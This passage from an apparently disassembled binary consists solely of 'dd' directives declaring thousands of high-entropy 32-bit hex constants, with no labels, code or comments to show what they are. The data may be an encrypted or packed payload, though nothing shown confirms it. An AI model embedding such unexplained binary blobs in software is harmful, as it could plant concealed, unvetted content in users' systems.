1BC725DEh, 1F827304h, 3BAB63D8h, 0AFB714A5h, 0DD85CB90h dd 970882DDh, 2543B28Dh, 96008FA8h, 35BB09A6h, 0E31F2244h dd 78F088A9h, 3ED766B3h, 807923DDh, 0A29DAB2h, 0CF9ABA2Dh dd 0A21C839Ch, 7A8A01E7h, 0A7569EAAh, 7909F2F5h, 8730368h dd 0D849528Dh, 0CCF3391Ch, 0E04B78EFh, 8B739AF4h, 557F3D3Fh dd 6D26E909h, 0F840B082h, 3D5BD78Fh, 0AA2AA3BBh, 8B90109Ah dd 5F0A60A4h, 7980B6EBh, 0ED9B2410h, 92E2A16Ah, 406AF31Fh dd 5D1F985h, 16264D47h, 38FF8BF7h, 8B8FBF57h, 49AB2FF0h dd 0E3E73DA6h, 0B3CB4FE9h, 0A78AF16Ch, 1498BA8Ch, 107FE4E6h dd 25BB944Ah, 96A5EA7h, 8774EFE0h, 0E66DDC3Eh, 1715E0E4h dd 21B7ADCDh, 36BC8C22h, 421B7944h, 5A46891Bh, 7235C024h dd 393D8B7Dh, 67203F45h, 39643399h, 0DDBADC55h, 380CE2D3h dd 7A5BBDDDh, 0CB8FD4BEh, 61B742h, 2C2B388Eh, 0FC78C1A2h dd 7C3A99D2h, 0AA42D9C8h, 0A19526FEh, 0B84C6061h, 234C72C9h dd 8CE5C8B2h, 0F4F81C4Eh, 0F640C38Eh, 1E5B7A30h, 70C71CCCh dd 4C037B95h, 0C83A3F8Ch, 2DCA615Eh, 0DA54BB84h, 8FBFA161h dd 275833F1h, 8DB1C4B3h, 26A1E76Ch, 6431BAA6h, 9DC80D13h dd 0C5EC23A8h, 700574EFh, 646424C1h, 3B6B5DF2h, 2A52D1BEh dd 6B1997E9h, 0B741775Dh, 0DB683229h, 0ECD1E3B0h, 0DD623473h dd 9EC73DA2h, 416A005Eh, 57717CE7h, 0BEC863E4h, 6735940Dh dd 9BBA6E8Eh, 7C3D13C2h, 0FCD3F180h, 0C4BB15B5h, 0D10F5DD9h dd 5DBAB8B9h, 83E03F9Fh, 9E433835h, 564EFF51h, 9E001C05h dd 2D775E44h, 6477D2FDh, 3DC38441h, 1B06F4B6h, 0D431089Ch dd 9EEAE75Bh, 0FBBF9E82h, 0A9A72FB3h, 206E060h, 44F3ACDFh dd 0C9707E8Bh, 0C0E66149h, 0C8ADC356h, 0FC1DE339h, 7DD20A58h dd 0D600818h, 0AEE5B4Eh, 5622BB97h, 0D83D8CEAh, 0D87E2F4Ah dd 0FF1FC7D8h, 5CF4C681h, 3C8C11DDh, 0A69BD196h, 0E80A39F6h dd 73F8877Eh, 6C41DA6Ch, 88699537h, 68544B9Ch, 843C1171h dd 4437ECB9h, 0A4113559h, 24D735E2h, 2814E558h, 370367EDh dd 0D74721C8h, 0F22A7DEFh, 3FBF4E40h, 0F02D3C2Eh, 0C0CC0C6Bh dd 2AA20F1Fh, 1EF538E7h, 310478F7h, 0EFA2B98Bh, 6E2C75Bh dd 14144987h, 546DAAD8h, 65FDA48Ah, 54DC0757h, 7CD111F8h dd 678C39Ah, 4E32AA6Ch, 0E480F3C3h, 8F8262CDh, 1D51F38Ch dd 6958C049h, 77B20356h, 2BA646E1h, 0E1110F1Ah, 57AD4880h dd 0A390B424h, 54AD078Eh, 12DCD54Ah, 9AB4B062h, 0F072D550h dd 4588D206h, 0E06CDE16h, 433C4D3Eh, 0A468C144h, 0B7247FA7h dd 620A5A19h, 2A86991Bh, 7853C824h, 3B8420DCh, 0E665CFD5h dd 0BF00FE85h, 28ABF991h, 72831A49h, 3ADB24h, 0FA6F3AE3h dd 6549BC88h, 74A23847h, 52B44890h, 0D8753283h, 72F28A14h dd 0E9761261h, 328D2C55h, 0D666B141h, 940A3EB7h, 0B85B0276h dd 32854EB6h, 37EDE585h, 0F1650F71h, 94F643h, 1D27799Bh dd 698BAE6Dh, 701376Eh, 66612CFh, 0F98B9FA9h, 0D097B14Ah dd 76719437h, 0EDBB9621h, 8C1D8197h, 1924AF4Ah, 0A7E7AFB2h dd 0F7679A77h, 0C9C3DEE5h, 6CC8BD7Eh, 155C866Ah, 6D63D3E9h dd 956E67B5h, 653D13A1h, 0E7275E8h, 1D3FE917h, 604469D9h dd 1680907h, 83021466h, 690905FAh, 70C82F45h, 0EE4B2656h dd 8CAD9465h, 0CFA4C911h, 0E61375CCh, 5C8BF178h, 0E41FBD8Bh dd 5DFFC04Eh, 392F1568h, 7BA4D255h, 552790C6h, 6DCB2D82h dd 1F112000h, 71B52D2Bh, 7E3B904h, 0FB1443DAh, 0B6619D11h dd 0A5ACCB8Bh, 4C39C471h, 7640BD7Ch, 0E7E9CCA9h, 0BCBE41DEh dd 0C513B46Eh, 9E131CABh, 87DF8ACCh, 3D7B68ACh, 89C8A0CEh dd 8B1AAB49h, 0D6D3DECAh, 0D87F954Fh, 33D1EED9h, 5D62712Eh dd 0D50C0133h, 0BAFA1A41h, 52917628h, 153F962Eh, 41C2C473h dd 409F7528h, 41B0F813h, 902C7459h, 0B946A5Ah, 0CF7B3931h dd 9ACC66E8h, 0C95A0DCh, 0C28B77ACh, 0B4C16BAh, 0D7A9B864h dd 2CA85FDBh, 15D823B5h, 9406F069h, 10C2E3E7h, 5BE5C365h dd 690864F3h, 2FBFADF6h, 0FA9834BAh, 286B0E08h, 7CF25F2h dd 4990ED04h, 6F5EA2Ah, 9F936AD0h, 12295E92h, 0BA79B64Ah dd 0AC7AD518h, 6819C285h, 4DBA3783h, 0E6394FC9h, 49437245h dd 4207C35h, 0A2982B01h, 0CB9BC4B9h, 0A774F434h, 80FA9F22h dd 9CC0EB13h, 1F2F9B0Eh, 757F5E52h, 4D84E6E3h, 40A29F72h dd 0C7F64C44h, 0AD8D415Bh, 0EDF2A8EBh, 4E67AD01h, 468371A8h dd 0ED635B74h, 45942C69h, 6834160Eh, 65D50195h, 5FB61141h dd 7750ED7Eh, 853F1355h, 0EE016220h, 8822D40Bh, 14255AFDh dd 0D7270F3Dh, 5765DF7Fh dd 52BF0966h, 0D03D18EDh, 0E8D3D32h, 0F5BFA2C5h, 0D8765EBBh dd 0EC0F871Ah, 300443AFh, 0C37C2771h, 343A18D4h, 18B4FD3Eh dd 3F846A12h, 0E005010Dh, 0BAD06493h, 56ABB5C5h, 3006540h dd 0C505A14Bh, 29E5B6BFh, 0C375A134h, 0AAD4BAE4h, 1D6CF454h dd 92FE8CBFh, 2978E26Dh, 3B42F6BAh, 758B1D71h, 727D8AE9h dd 718027E0h, 4A3C618Ch, 71916F72h, 0D57695BCh, 0E8D5D586h dd 46880B9Ah, 3355A84Ah, 6C7AF40Ah, 0E329C205h, 1A277A80h dd 1D68850Ah, 0CDDA388Bh, 6B23D054h, 0FC56F39Dh, 0BA1EF0FCh dd 0D788E4A9h, 197744C9h, 0B9E35411h, 3538D247h, 194790E7h dd 386EE6E0h, 0DD2400D3h, 676175BFh, 0C9BF8A4Ch, 5C0AD024h dd 933F994h, 0B319B908h, 885A18E0h, 6FE68A31h, 0F49CBA91h dd 0E37FC254h, 0E4107E4Dh, 0BD76C42Ah, 0A4A29496h, 0DA26747Dh dd 89CC61ADh, 43BD155h, 0DDA7799Dh, 930ABFF5h, 0B49C16AEh dd 0AB6A4D18h, 0AFF810AEh, 3AFE9BFAh, 56F42BCBh, 0F507D131h dd 0A2558941h, 346B599Ah, 592084ABh, 0A2C8FD32h, 981FD58h dd 30E70E0h, 0A65CC3A8h, 0F790E554h, 207B1A6Fh, 0B7990B55h dd 899C9D6Dh, 73A8FA4h, 0E5191163h, 9A2D6069h, 5FA7E6E9h dd 6579D4E2h, 421A7ECBh, 63F96DFAh, 7A334D72h, 0E0557C81h dd 1AB4A450h, 75772C90h, 0DF6E88FEh, 0DAA6619Dh, 1632216Bh dd 0C3A342E0h, 2C7BFB07h, 4E19538Fh, 0D5C98FCAh, 0DD256877h dd 0E6409184h, 9FBBC89h, 74123EC4h, 0EF405555h, 0B8A43E89h dd 192D82C1h, 0D9D4055Ah, 37AC14A8h, 5F2DAB49h, 8E011C6Ch dd 0FDB4330Ch, 18B32E7Dh, 0E52E7E4Ah, 0D3E4DCEDh, 338C1CCFh dd 996032E7h, 634E6C61h, 0A9F1877Ch, 5FA028C0h, 0EE830490h dd 0FD1C7F8Dh, 5AB6C7C0h, 7208B06Fh, 7115597Ch, 36D36B1Dh dd 40ED1736h, 501EF3C4h, 1DF2F29Dh, 0D7C5D12Bh, 0A4332329h dd 7D0C3717h, 52FBC0DCh, 0EB9D4AD8h, 24016CB2h, 0AF51956Bh dd 20E97AFEh, 7B6584AAh, 8C9E6474h, 3F6C375Eh, 0F41BAF84h dd 0BF39BF77h, 6F71F509h, 0F07E8CC8h, 0A1C00E1Dh, 13EF34ECh dd 0A01EEADDh, 60571799h, 0E2C6C51h, 6A993CEFh, 42243BF8h dd 0A3EC93F3h, 61AABE8Ch, 0FC070C61h, 3B4449AFh, 0ABA6EE62h dd 0EDFBD2CFh, 0DDB174CBh, 1E426D87h, 4388AE2Dh, 3AAA2A9Dh dd 3442690Fh, 0ACD2DA0Fh, 7725D608h, 0B1484DDBh, 0CA8EA564h dd 7BEEB545h, 7B1220A8h, 0AD8D5B5Ah, 535935BAh, 9AD5BDD4h dd 0CE20552h, 0EB891E81h, 0C24BD5BFh, 0E052D286h, 2D3F05CDh dd 7B6E353Eh, 8667CBBEh, 4B4D5A50h, 4B86C9ABh, 8DA5062Fh dd 4D0E7CDCh, 0A1A1D4B2h, 98772BD0h, 0AC528449h, 20762DD0h dd 3A41C768h, 3B3856CCh, 1ABA8587h, 9914F048h, 4DE53F14h dd 0CD887DD3h, 0D967A445h, 1BDED2EEh, 18F2D5A6h, 564FBC5Ah dd 82BF039Ch, 0EF794FEAh, 0B68B7C8Fh, 0D504EDD2h, 376B75D1h dd 40A086B1h, 6202E54h, 0A07370Ch, 89957947h, 4F61EFB5h dd 73596141h, 0F43A31B4h, 0C7F9603h, 85B6B867h, 3C307E5Eh dd 0FFFB5A7Eh, 0CE8F449Dh, 578253F0h, 0FE2E91Bh, 0DAA403B3h dd 73A9B3F6h, 700E8C54h, 5F4959C8h, 514ACC7Ah, 0BDFAE77Ch dd 3D508118h, 4DB5A504h, 8D7648A8h, 0C027DB71h, 743D7A16h dd 0C62E64FAh, 7A2F4741h, 8D5E9BF2h, 363FECDBh, 3C224721h dd 70C9E5D5h, 7FA05AEBh, 6ABD3EAFh, 9D19CDADh, 1D781D5Ah dd 0CA901270h, 5E6F5D6Ch, 71011468h, 0BFDFD694h, 0A5C164FEh dd 0D714809Dh, 0D60C2423h, 0FD147842h, 0DA432CE3h, 0F9EC004Eh dd 573ADFC5h, 99736A95h, 62855F21h, 80411492h, 6B6C33C1h dd 7726458h, 0FDD1C8DBh, 8D775351h, 1DE9636Dh, 0C9DFF752h dd 1810324Bh, 87074DDBh, 35F08F27h, 0C87CFE4Eh, 85561849h dd 0AF7E05CAh, 0F00065C2h, 0D3895BEAh, 7262494Bh, 84CD8FB8h dd 3F3F0E92h, 0C165C75Ch, 61E524CBh, 0FDD8BF2Ah, 46441D14h dd 9A93AF78h, 0F54E1C4Bh, 0C417868h, 42EB23DDh, 0E4A4358Eh dd 8E360D30h, 77D93115h, 8C1C3D07h, 1F07FA6h, 0C1A9347Ah dd 670DC693h, 7732D029h, 2AF7C0DEh, 616B4778h, 8E360D12h dd 0FCAB7945h, 0DC869AAEh, 0CC48B2A5h, 632BFE03h, 0AABEB48Dh dd 1A2B42F7h, 7C375A93h, 0A82A3A98h, 0E68F0E12h, 0F5E96987h dd 0A4DE7380h, 26B4818Bh, 91B63391h, 9984F2B7h, 43891F4Ch dd 8E8A1290h, 4013590Eh, 934D4FB6h, 0CA67FDFEh, 0F52E6A4Fh dd 0A5D8CA28h, 6ED0E24Ch, 0A06721ADh, 881340D1h, 0EA3C8276h dd 91E43585h, 47EE8D8Dh, 717D343Ah, 0AD9E56FBh, 0F822CDE2h dd 39E97CD0h, 2E885110h, 4B773965h, 40030EA4h, 0B133FDF1h dd 785812AFh, 64F91FF7h, 0ABFAB406h, 2A74F996h, 50E3C26Ah dd 0F05A6FDAh, 0D161D863h, 5C179B99h, 7E377D27h, 48FA660Bh dd 0FBE921DEh, 0CD7FB666h, 0E68E347Fh, 16BB3C3Eh, 32F91FBFh dd 0F61F8F8Ah, 8745E65Bh, 52382D90h, 8BE61A62h, 29CC74D6h dd 13526ACBh, 2F133985h, 1B0D02BFh, 3AA5DF22h, 0E72228A5h dd 6CAFAFB1h, 641865A6h, 0AE48E6BFh, 0B9BA14E4h, 0F5C90DDh dd 0E17BB868h, 7B8EC27Eh, 9FEAE906h, 0B92ADA05h, 0F83A8649h dd 996C21F2h, 0C99C49C0h, 2367EBE2h, 9390D52Ch, 0BE17FCEDh dd 54DEDC04h, 0E983855h, 13288857h, 84DC56F8h, 0F0CF37E2h dd 0CD95A89Dh, 0A04F491Fh, 0DEEB2046h, 9893812Dh, 0A21D6ED1h dd 0B5F0BC20h, 1D7F736Fh, 49888D57h, 0C8408FFEh, 616B7397h dd 68A074A9h, 37A0B85Ah, 746D1662h, 19E9FFC5h, 0AF103866h dd 0C518590Dh, 6CCEB7BDh, 85ED12C6h, 0A21D7E37h, 0FC82BD28h dd 0B34F927Eh, 0E9A89C4h, 7E37240Eh, 2087D09Ch, 0B12E4C5Fh dd 489778A7h, 0A77B8ACh, 5E4B50A7h, 0BD486716h, 6947B7E3h dd 7DE1DA8Bh, 0AA4BA0CEh, 12334804h, 0B3A842DAh, 0B2330B60h dd 36CC30D5h, 0ACCC27ABh, 2FD21295h, 0DA389CD3h, 8A7B8E20h dd 2F7F472h, 17C3F699h, 0B52E792Bh, 0A8264E41h, 0DF993BCDh dd 63C74FB0h, 0E393389Dh, 55961284h, 0E15B751Dh, 0CDAE9C82h dd 0F4F4BFDBh, 6F61F89Ah, 2CAAB549h, 24BBC295h, 23871850h dd 74AA6D6h, 0C78D9E6Ch, 4FFD08D4h, 0F9ABA037h, 4F5FB56Dh dd 8F20535Eh, 0EAC47D9Ch, 142CC553h, 0F4901446h, 0BF8DEE73h dd 45043178h, 0E17B643Ch, 1F4656F4h, 59FB2ECBh, 0F666D658h dd 7010E191h, 652CD5EBh, 0C6E1AEF1h, 28BB8A27h, 0D569180Eh dd 0FADF6952h, 0C6A687AAh, 0EC375B5Ah, 6DB9B48Ah, 0DB797B84h dd 5DAB650h, 480F4F1h, 0F42C108Bh, 0A9F10DFFh, 4A12D8F5h dd 0AEBEBD5Dh, 9B5FAA89h, 71B2A209h, 0C0AEEB31h, 8E170DE8h dd 1D94292Ch, 0E33613AFh, 67127E7Ch, 0C71CFB92h, 0A217A3EEh dd 0C8602B72h, 0A784CFB1h, 7BB2FDA8h, 0CB2A05E6h, 28763894h dd 0B08D1038h, 0E7D94354h, 3BAED4AEh, 0CC8CB0D8h, 553B610Eh dd 0A87C92C4h, 0E15914FCh, 88DF5BBEh, 0B44D26E9h, 8BB78E5Eh dd 3F708005h, 794AF837h, 985C74F3h, 1451B650h, 979BC9D6h dd 0FBA896FEh, 0A0972789h, 3403F1FEh, 7B40FE3Ch, 0F06DECEAh dd 56DF59B6h, 25EE4CA0h, 51133DF0h, 6EDFD2B4h, 95FCB2D7h dd 0A510AB10h, 0ED633995h, 381B1339h, 85429DF4h, 12E24F97h dd 2E36C1B2h, 0D3988DE6h, 21E09FE5h, 0CBCFFC83h, 96A92E3Ch dd 5C0E1D6Ah, 0E2586499h, 2858EB25h, 9689F35Eh, 0FA6201DAh dd 1DCE714h, 5D32D706h, 0FBB1D056h, 0D5C38C4Ch, 0FFA50675h dd 39932B25h, 0B2A2BC7Bh dd 643BA4A6h, 0E3385F3Fh, 4F49FEACh, 9768029Bh, 0FD35C2E1h dd 0B583E4C1h, 44947719h, 666B57A1h, 4B3FB8D3h, 2B699D0Bh dd 5B3CFBFAh, 9CA253C8h, 0E1CF28DFh, 76E75097h, 0D4BB9C68h dd 0E1A222D8h, 6260315Fh, 0C1ECF427h, 2D64B070h, 0D460D4A7h dd 0C3788FADh, 49A70EA6h, 99F7B4Ch, 58AD4B70h, 0B3755669h dd 91CBA25Fh, 766D732Ch, 7C2D2567h, 8576F9C0h, 46D64E76h dd 4A1F7FA9h, 872BCEF8h, 2F642B7Eh, 0BACDBBEDh, 6E6422BFh dd 0BC43B31Fh, 0FFD6BF50h, 207E7137h, 86F0311Ah, 0C4CD2C45h dd 98F2C4A5h, 4C5CD42Dh, 0F1DF0EC6h, 0BD073592h, 0A0AA0954h dd 72C8636Fh, 0D6A69D80h, 0D7A62DB8h, 54E7C21Ah, 6F9C975Eh dd 22EE9570h, 233056F4h, 0F31E8213h, 0A6185910h, 0C689171Bh dd 0D2FBF6EDh, 35DFAED1h, 0DF2AE67h, 41A1F921h, 0D766B316h dd 1FBC3FF1h, 653AF341h, 3928A3F6h, 2F9E250Ah, 0FB0F21EFh dd 0FE9401F3h, 52595F63h, 82509CC1h, 7B267663h, 4AA2F8FBh dd 560201D0h, 22E304F4h, 7649C6D9h, 0C6BDE7C8h, 85231B42h dd 0FFC3147Ch, 12383B4h, 20E78BD8h, 9CB5E50Ah, 3BA20821h dd 2FA3F792h, 1C75699Ch, 0E2F109ABh, 0AB13C0BEh, 0D57E22C8h dd 0A9663044h, 3993A2CEh, 0CCFA2A8Bh, 0E6EBD1DAh, 0A6DD627h dd 0AE1FD12Bh, 0DDD4942Dh, 7EDBACE7h, 4CD49875h, 0D2BA5720h dd 487675E8h, 0B0719DC0h, 0EAE0BC80h, 7C6A24BAh, 0A48F194Ch dd 79A980D1h, 0F7DF3866h, 9DA8B995h, 0C4B14BFFh, 68E68413h dd 5AF8D104h, 0E556C81Fh, 53C540DAh, 0FE1BC007h, 0B85F63A7h dd 6A156FFh, 0C8823F40h, 0BEE20132h, 6C912727h, 0C1044D8Bh dd 0DE26F070h, 0FD95EC2Ch, 0B1F05BB1h, 921DF470h, 52DCFD5Eh dd 0F31E62B4h, 6EFADADDh, 4EAF19A0h, 0EB8C0FE9h, 736C3AFh dd 753F7BDFh, 0E112AA7Ah, 0A01D15D3h, 8B24CF0Eh, 0C917DEC5h dd 87AF1BBCh, 1E569870h, 71B420D6h, 0F63A6DF2h, 42DCEC89h dd 8F959C71h, 2BE1B41Bh, 417DEB93h, 253DEBBAh, 0F415D921h dd 0C6F52369h, 3F9F5E2Eh, 561F4DF9h, 94B30C39h, 0A517369Ch dd 5C4F2893h, 93CB6E53h, 3E72C270h, 16BE40C3h, 681C9ADBh dd 0E6A7A5B4h, 0C88C4512h, 45D82561h, 0D59812AAh, 3D70C018h dd 94B2F06Eh, 0BD65EBA8h, 3D57AE8Eh, 1B39104Bh, 760C7070h dd 0DE86133Fh, 0FDD5848h, 0C70FA992h, 0D7B7D4D3h, 41A783C9h dd 52E3763Ch, 0ED19C83Fh, 0BBDB0718h, 0AFA84423h, 0D0641CFEh dd 7FC1A97Ch, 0AF13F0D7h, 0A18FF852h, 3A189806h, 4FA82099h dd 42E3A12h, 6AC01294h, 0E925CE1Ah, 1DE38B11h, 824706F4h dd 0BE120C46h, 49318804h, 2CFE01AEh, 3BBDFC50h, 3CF66A0Bh dd 0CA04A621h, 9652DCD8h, 43474AB5h, 0A9C82424h, 0E2F672F0h dd 0E78F6D2Bh, 3CB893D4h, 45E7F6E8h, 0FBE50305h, 839F67DCh dd 6EB38660h, 7138B1FAh, 0BF5AF5DBh, 0A3358C0Fh, 74BD571Ch dd 89CEF666h, 4BB2E800h, 460EBE3Fh, 7324388h, 0A9E5D387h dd 0D93396ADh, 0D70BFFCCh, 0E5DA73E4h, 55B22ADCh, 9D0CE3AAh dd 0F30D5D9Bh, 0C0E3A522h, 43DF0233h, 85A72BF6h, 0B15FC3FAh dd 4F7FA061h, 0E7965B0Eh, 37D92073h, 0C8556D09h, 9F854934h dd 3F265670h, 0C334598Eh, 1A29E20Fh, 9A888595h, 0EDA0047Eh dd 0BD0AA4CCh, 2B0FD591h, 0D85FB9F6h, 26721F45h, 92F8BFB9h dd 0CF8AB901h, 40E5AF52h, 9F5751ADh, 952FBC8Eh, 0CAF09D30h dd 31EBC5DBh, 2335583h, 0E088D925h, 4524D612h, 2A7F568Dh dd 869A83B2h, 0CE1D258h, 4CC4079Fh, 0D69DCA34h, 4C9E05CAh dd 0FCF15101h, 2D54A3BEh, 8337FCA0h, 397A2A62h, 61E8484Ah dd 0D3542CF1h, 22B2F59Fh, 0A935902Ch, 90053F1Ah, 0B69FD4Eh dd 0CA4931Ch, 322B077Eh, 0B33EECF1h, 0AF9DD18h, 99448013h dd 0BC51F02Bh, 8373D87Eh, 819E621Bh, 355DD76h, 81FC86h dd 0CC870E3Dh, 0F6FC8609h, 14C99188h, 1A2AA2E7h, 98793735h dd 2E875AACh, 0ACE73D3Bh, 0C6F17DB3h, 0C5FB3BCh, 8A7DFE1Bh dd 50433256h, 0AC8ED6A4h, 66BBEDE4h, 0AF5DF3AAh, 0C0804D1Bh dd 525388F9h, 9C631E88h, 2C9F7FD4h, 2A167F5Ch, 3CB5B0CEh dd 43D9A1CBh, 0A16C97B2h, 0F67DA048h, 0CBC17DDh, 6D390442h dd 35D9845Eh, 0F22757BFh, 0DC375930h, 420D3BB8h, 0CCDDB1F3h dd 0B86258D5h, 91104D20h, 5C2957DFh, 0DE28187Dh, 886ADDCBh dd 8D78552h, 1BBA68B8h, 0C7F822F2h, 0FE0C0115h, 818C079Fh dd 8E4D9A80h, 0CAA2507Ch, 0BDF6084Bh, 4760A7Ch, 86974400h dd 3D6665BCh, 0D2BFBCB1h, 64787636h, 0E117BB39h, 0DBD51862h dd 0B7679639h, 6D3FBEB1h, 0BD7476A4h, 0B9EDA4FBh, 64CEAA5Dh dd 7E1B5F15h, 0FC81EABDh, 0C29A661Ch, 0CC566BFCh, 29B33EFCh dd 40B0EB15h, 43A88A75h, 258CD111h, 0D4C7FF0Fh, 833CE049h dd 8807DBB6h, 474158CCh, 31F280E1h, 0DB54EF40h, 0DF47D391h dd 3FCF7AE5h, 0B631FC96h, 0B84F4A13h, 0E0CCBB72h, 55D7285Bh dd 34224178h, 6A512AD5h, 1AF8DF0Fh, 0B30B7668h, 63D3D0B3h dd 0BD18291Fh, 0BD364C6Fh, 0D410A1BBh, 0B5EED8E9h, 770241AAh dd 0D1C61FA2h, 5BB079E9h, 967C1289h, 8CC280C3h, 92DAD5EEh dd 0D6E2FFEBh, 0A3F98396h, 5CF394EDh, 544792BDh, 828D5F66h dd 19B0F13Ch, 9C0EB7F3h, 710C8A09h, 0C33EDC29h, 0AEA0A491h dd 47FC5EBh, 4E9DE6FFh, 9E319029h, 899D8D5h, 39C16C1h dd 0C3C7A0AEh, 50678703h, 0FDC07DA1h, 0C4C0D080h, 54C37FB4h dd 43D5FC7Dh, 0FE896839h, 0CC026EACh, 7E5C2528h, 0F462A670h dd 6817C8A7h, 0ADFD232Dh, 5E6BE377h, 2E5C0757h, 5A0AFA2h dd 6511EBB1h, 0D4EF647Dh, 13BD8072h, 9112DA91h, 0FC97211h dd 7D8A5326h, 6211E319h, 0B8B7FF0Fh, 0B97509DBh, 3DE22B9h dd 784B66F9h, 6EA72D56h, 82C4AA0Bh, 0DAB286A8h, 0AEDAFE6Dh dd 0E03D019Eh, 5C4E2C2Dh, 0DB3CDF64h, 10BAA8ECh, 266ACD0Ah dd 86EBCB3h, 8B69C3DCh, 7081D648h, 94D46DB1h, 5A63B82Fh dd 0BF1417DFh, 0A3C03FB5h, 0C2640072h, 0FB50143Ah, 0F68E17ADh dd 98163413h, 15090589h, 0B5525B08h, 3C6B58D6h, 0A8668C4Fh dd 20416168h, 9164D675h, 0B623D0F3h, 0DDD888A2h, 309A3DA6h dd 5F60AB4Ah, 0DC4A3F1Ch, 0E7E7D4D2h, 0EAAEEBEDh, 2CE70AA3h dd 0D7E3F499h, 0E1F67273h, 91E65994h, 1DDD4157h, 0C5662358h dd 5F1703ADh, 0FBF9F6ABh, 0B16456F4h, 2D5E1E27h, 0D2B9FC06h dd 3CF46B7Eh, 4A09DB9Ch, 615D7CD3h, 0EC628CF0h, 1237FBA1h dd 0F5F94EA7h, 0B76D94FEh, 0FDEBFDCh, 4064F2ABh, 0DC57EBFAh dd 1BB9675Ch, 71B580E3h, 0F50E31DAh, 0ECD0B8Eh, 40E28A44h dd 6413D41Fh, 8FD87F02h, 3A42D88h, 45163BB5h, 0E7492F7Fh dd 0B7A568E0h, 2F72A7CBh, 0DB48C4AAh, 3EBCEDE4h, 2BB3E59Fh dd 0D20F1E4Ch, 3D4C905Bh, 0D323BB2Eh, 3DF34A68h, 526B6CD7h dd 0FCDCA514h, 4DFAC68Dh, 0E357D1B5h, 0B5D9A93Fh, 8E756660h dd 7BD6805Bh, 0C97DF10Ah, 2856498Ch, 283F1655h, 0D075FC17h dd 0BFAF5100h, 127D9B89h, 0FC8A7F77h, 0A23F0CD0h, 2B417BE1h dd 0D1EFAC89h, 0DF71B8C5h, 0BBD86FDFh, 907C04A2h, 1C1677F8h dd 5ABD289Dh, 0F8E5A5CBh, 0A80F2C5Ah, 3059856Ch, 44E3779Bh dd 0FEF7964Ch, 0B9979EBh, 0C21C4C66h, 25463B68h, 4F270F95h dd 0E3F1F0AFh, 0CD6857F2h, 235C1EA6h, 55BAFDC6h, 7F77EB1Eh dd 6BC99B8Ch, 517D5CDBh, 0E452BCECh, 163FF3A3h, 0F7F54AB8h dd 366F96FFh, 0CF5DBCDCh dd 203B712Bh, 0CC37ABBAh, 63A9477Ch, 7DADB0D3h, 0F30A39E2h dd 0DCB0F8Ah, 41638846h, 64D3571Ch, 0FF8B881h, 0C354CDCBh dd 0A51E0B96h, 17B51740h, 3FA79499h, 0EB0DB9CFh, 0B94945A8h dd 11BCAD67h, 0DC33C558h, 59CF0EADh, 0FB6C984Bh, 0B013BF26h dd 0C7B4864h, 5AA76BD9h, 0F8FEA495h, 0C809C6CDh, 0FC955195h dd 0C8C4F94Fh, 0C2791678h, 5F37805Fh, 0AA686908h, 247068E5h dd 0C04E9D54h, 7C968663h, 0B18120E9h, 4AEB3FAEh, 97F54E39h dd 0CF6BCB8Bh, 5F24183Bh, 0FCCF8AB4h, 0AA83BCE9h, 0D26C9FCFh dd 5C73ACD4h, 10271533h, 34FC08C3h, 87A990ADh, 542D64E4h dd 153BF11Ch, 48CCD8FBh, 0FB84D6C8h, 6A6DEC4Bh, 57C3B68h dd 476B7E37h, 0B4563E9h, 0BD4796B2h, 0CB2C52DEh, 4AEA4B60h dd 0A18BC7D7h, 0C7781951h, 73283E0Eh, 654CC8E3h, 0D6DA89C8h dd 59E018ADh, 81ACE5F2h, 8F7FBA90h, 84AA68FCh, 6E830AABh dd 0DE33535Dh, 0BBCEFF5h, 2DD7B8AFh, 9236A70Fh, 51A2B529h dd 4DEE855Ch, 16E18861h, 0FD7DAFECh, 89EAFF79h, 0EB097950h dd 73327B4Fh, 0E7D7FF60h, 941BD764h, 0B563AED1h, 64DC08F1h dd 0A4D78570h, 0B7EE96E2h, 0DBAD24DEh, 0FC73FE52h, 9626CA06h dd 0E3D106D8h, 6196DB7Bh, 0A861B57Fh, 0D838F092h, 0A6C848ABh dd 0E3F72D9Eh, 19F78E2Ch, 0AEF9157Dh, 9E975A2h, 0C3E816Dh dd 33C1E47Ch, 9A8F3460h, 0DCF9E86Bh, 43ECDD59h, 0E077EED0h dd 5966B374h, 0CE8DB590h, 0B7508185h, 0B578CB84h, 891AAB9Eh dd 0EB9931FCh, 720E3F4Dh, 0E6BAD063h, 3DDB4F4Eh, 11F2B94Fh dd 0FED76B9h, 0ACE67D93h, 22EF9B67h, 0B5A0B721h, 0C4024124h dd 0EB2F79F2h, 0EC0988B0h, 0F842F19Eh, 6FDBBECBh, 0F18CBB22h dd 0D461AEB8h, 7BE878CCh, 40E989D6h, 0B2FDCDA7h, 73EB21BAh dd 97A4DC4Dh, 156AA54Ah, 13B27766h, 85B26831h, 0CF79D140h dd 40BD95D5h, 37CCA545h, 0C572B814h, 0C5868E61h, 0D164AA6Eh dd 0EC249168h, 0FA6CA7EAh, 0F3A0A6A4h, 0FD0F7F62h, 783F3E3Bh dd 0F7EBB05Dh, 0A8FDFC71h, 0EEFC2FE3h, 54F84F9Ah, 90F6F677h dd 44E29CEAh, 66A173DEh, 5B46D977h, 0EA5EF60h, 178398ADh dd 0F8E38EDEh, 676A8F18h, 677E84B4h, 898C4E8Ch, 0F20540EDh dd 5458E823h, 0ADCA9079h, 4BE2A762h, 0C2D8A678h, 0F56CBB44h dd 7EB75110h, 27C6F443h, 0D6C77339h, 0DD67DE8Bh, 642AD4BDh dd 6DCAB851h, 4A90B38h, 72FDCBD7h, 4B3D8E9Ch, 1DB415F0h dd 19A63EF5h, 0ADF4D427h, 99300A69h, 98AFEF2Dh, 87AFDF25h dd 0CB6824E0h, 75279D58h, 8EC7995Eh, 908EA29h, 0BB25B1F8h dd 0C782B7A1h, 0A6DC8CDFh, 0EAE99421h, 0F2D83C53h, 0F863F490h dd 17E86AA8h, 486B9E1Dh, 0BBA4C877h, 7F97A2D1h, 9FF0D009h dd 0BFB18C5Eh, 24AF7781h, 0B4E61759h, 0F365CB76h, 0CCE079E6h dd 0E8D45BA8h, 0FE30619Bh, 0F6B88368h, 94816C6Dh, 9183113h dd 0F973365Bh, 0DB9082A4h, 0CF9886FAh, 70EE22F8h, 52F4EABFh dd 44A89449h, 0EB8CA32h, 1862985Eh, 0F6A70B98h, 5385ADB3h dd 0D1F398C4h, 79719812h, 7F200E0Bh, 110685B8h, 15C5906Fh dd 6A4D17FEh, 21224315h, 8F888CDFh, 0F687616Eh, 637EF667h dd 0B0537413h, 46C5F891h, 10D3DC77h, 0A36CBD92h, 5AAE4384h dd 20C7F5FEh, 28E19056h, 